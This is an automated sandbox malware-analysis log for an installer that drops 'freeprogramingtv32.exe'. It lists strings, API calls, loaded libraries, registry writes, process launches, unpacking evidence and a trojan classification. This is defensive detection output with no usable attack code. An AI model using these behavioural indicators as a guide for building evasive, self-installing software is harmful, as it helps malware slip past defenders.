Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://www.openssl.org/f
Source: is-QTH1O.tmp.1.dr	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: file.exe, 00000000.00000003.1682031648.00000000021C8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1681578774.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, file.tmp, file.tmp, 00000001.00000000.1682543962.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-2N406.tmp.1.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: file.exe, 00000000.00000003.1682031648.00000000021C8000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.1681578774.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000000.1682543962.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-2N406.tmp.1.dr	String found in binary or memory: http://www.remobjects.com/psU
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: https://www.openssl.org/H

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0042F520 NtdllDefWindowProc_A,	1_2_0042F520
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00423B84 NtdllDefWindowProc_A,	1_2_00423B84
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004125D8 NtdllDefWindowProc_A,	1_2_004125D8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00478C14 NtdllDefWindowProc_A,	1_2_00478C14
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00457594 PostMessageA,PostMessageA,SetForegroundWindow,NtdllDefWindowProc_A,	1_2_00457594

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_0042E934: CreateFileA,DeviceIoControl,GetLastError,CloseHandle,SetLastError,

1_2_0042E934

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		1_2_004555E4

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040840C	0_2_0040840C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004707F8	1_2_004707F8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00480B4B	1_2_00480B4B
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004352C8	1_2_004352C8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004673A4	1_2_004673A4
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0048E0A8	1_2_0048E0A8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0043035C	1_2_0043035C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004444C8	1_2_004444C8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004345C4	1_2_004345C4
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00444A70	1_2_00444A70
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00486D24	1_2_00486D24
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00430EE8	1_2_00430EE8
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0045F0C4	1_2_0045F0C4
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00445168	1_2_00445168
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0045B174	1_2_0045B174
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00469420	1_2_00469420
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00445574	1_2_00445574
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004519BC	1_2_004519BC
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00487C84	1_2_00487C84
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0043DD50	1_2_0043DD50
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_02401260	1_2_02401260
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_02401D20	1_2_02401D20
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_00401051	2_2_00401051
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_00401C26	2_2_00401C26
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BCBCEB	2_2_02BCBCEB
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BCBD58	2_2_02BCBD58
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BAE18D	2_2_02BAE18D
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BA9E84	2_2_02BA9E84
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BB4E29	2_2_02BB4E29
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02B9EFAD	2_2_02B9EFAD
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BADC99	2_2_02BADC99
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BAAC3A	2_2_02BAAC3A
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BA8442	2_2_02BA8442
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BB2DB4	2_2_02BB2DB4
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: 2_2_02BAE5A5	2_2_02BAE5A5

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: String function: 02BB5330 appears 138 times
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Code function: String function: 02BA8AE0 appears 37 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00408C0C appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00406AC4 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 0040595C appears 117 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00457F1C appears 73 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00403400 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00445DD4 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00457D10 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 004344DC appears 32 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 004078F4 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00403494 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00403684 appears 225 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 00453344 appears 97 times
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: String function: 004460A4 appears 59 times

Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: file.tmp.0.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped
Source: is-2N406.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-2N406.tmp.1.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-2N406.tmp.1.dr	Static PE information: Resource name: RT_VERSION type: 370 sysV pure executable not stripped

Source: is-3AOSI.tmp.1.dr

Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000000.00000003.1682031648.00000000021C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe
Source: file.exe, 00000000.00000003.1681578774.00000000024C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: freeprogramingtv32.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: DPI Analog Input 9.15.45.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/27@1/2

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_02BA08B8 FormatMessageA,GetLastError,

2_2_02BA08B8

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		0_2_00409448
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004555E4 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,		1_2_004555E4

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_00455E0C GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

1_2_00455E0C

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: CreateServiceA,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

2_2_0040265E

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_0046E13C GetVersion,CoCreateInstance,

1_2_0046E13C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00409C34 FindResourceA,SizeofResource,LoadResource,LockResource,

0_2_00409C34

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_004021E9 StartServiceCtrlDispatcherA,

2_2_004021E9

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Code function: 2_2_004021E9 StartServiceCtrlDispatcherA,

2_2_004021E9

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: file.exe	Virustotal: Detection: 26%
Source: file.exe	ReversingLabs: Detection: 15%

Source: file.exe	String found in binary or memory: need to be updated. /RESTARTAPPLICATIONS Instructs Setup to restart applications. /NORESTARTAPPLICATIONS Prevents Setup from restarting applications. /LOADINF="filename" Instructs Setup to load the settings from the specified file after having checked t
Source: file.exe	String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp "C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp" /SL5="$20428,3195553,56832,C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process created: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe "C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe" -i
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp "C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp" /SL5="$20428,3195553,56832,C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Process created: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe "C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe" -i	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: dsound.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Free Programing TV_is1

Jump to behavior

Source: file.exe

Static file information: File size 3466709 > 1048576

Source:	Binary string: msvcp71.pdbx# source: is-UFCL6.tmp.1.dr
Source:	Binary string: msvcr71.pdb< source: is-KSEJR.tmp.1.dr
Source:	Binary string: F:\Temp\openssl-1.1.1t\libssl-1_1.pdb source: is-UF6SG.tmp.1.dr
Source:	Binary string: msvcp71.pdb source: is-UFCL6.tmp.1.dr
Source:	Binary string: c:\zlib-dll\Release\isunzlib.pdb source: file.tmp, 00000001.00000002.2929154321.0000000002403000.00000002.00000001.01000000.00000007.sdmp, file.tmp, 00000001.00000003.1683500134.00000000021E8000.00000004.00001000.00020000.00000000.sdmp, file.tmp, 00000001.00000003.1683406129.0000000003120000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.1.dr
Source:	Binary string: msvcr71.pdb source: is-KSEJR.tmp.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Unpacked PE file: 2.2.freeprogramingtv32.exe.400000.0.unpack .text:ER;_creg_9:R;_dreg_9:W;.rsrc:R;_ereg_9:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

Unpacked PE file: 2.2.freeprogramingtv32.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp

Code function: 1_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_004502C0

Source: freeprogramingtv32.exe.1.dr	Static PE information: section name: _creg_9
Source: freeprogramingtv32.exe.1.dr	Static PE information: section name: _dreg_9
Source: freeprogramingtv32.exe.1.dr	Static PE information: section name: _ereg_9
Source: is-3AOSI.tmp.1.dr	Static PE information: section name: .eh_fram
Source: DPI Analog Input 9.15.45.exe.2.dr	Static PE information: section name: _creg_9
Source: DPI Analog Input 9.15.45.exe.2.dr	Static PE information: section name: _dreg_9
Source: DPI Analog Input 9.15.45.exe.2.dr	Static PE information: section name: _ereg_9

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004065C8 push 00406605h; ret	0_2_004065FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004040B5 push eax; ret	0_2_004040F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408104 push ecx; mov dword ptr [esp], eax	0_2_00408109
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404185 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404206 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C218 push eax; ret	0_2_0040C219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004042E8 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404283 push 00404391h; ret	0_2_00404389
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00408F38 push 00408F6Bh; ret	0_2_00408F63
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004840DC push 004841EAh; ret	1_2_004841E2
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0040994C push 00409989h; ret	1_2_00409981
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004062B4 push ecx; mov dword ptr [esp], eax	1_2_004062B5
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004104E0 push ecx; mov dword ptr [esp], edx	1_2_004104E5
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00412928 push 0041298Bh; ret	1_2_00412983
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00494E00 push ecx; mov dword ptr [esp], ecx	1_2_00494E05
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0040CE38 push ecx; mov dword ptr [esp], edx	1_2_0040CE3A
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004592D0 push 00459314h; ret	1_2_0045930C
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0040F398 push ecx; mov dword ptr [esp], edx	1_2_0040F39A
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00443440 push ecx; mov dword ptr [esp], ecx	1_2_00443444
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0040546D push eax; ret	1_2_004054A9
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0040553D push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004055BE push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_0040563B push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004056A0 push 00405749h; ret	1_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004857CC push ecx; mov dword ptr [esp], ecx	1_2_004857D1
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004517F8 push 0045182Bh; ret	1_2_00451823
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_004519BC push ecx; mov dword ptr [esp], eax	1_2_004519C1
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00477C5C push ecx; mov dword ptr [esp], edx	1_2_00477C5D
Source: C:\Users\user\AppData\Local\Temp\is-0DKCV.tmp\file.tmp	Code function: 1_2_00419C28 push ecx; mov dword ptr [esp], ecx	1_2_00419C2D
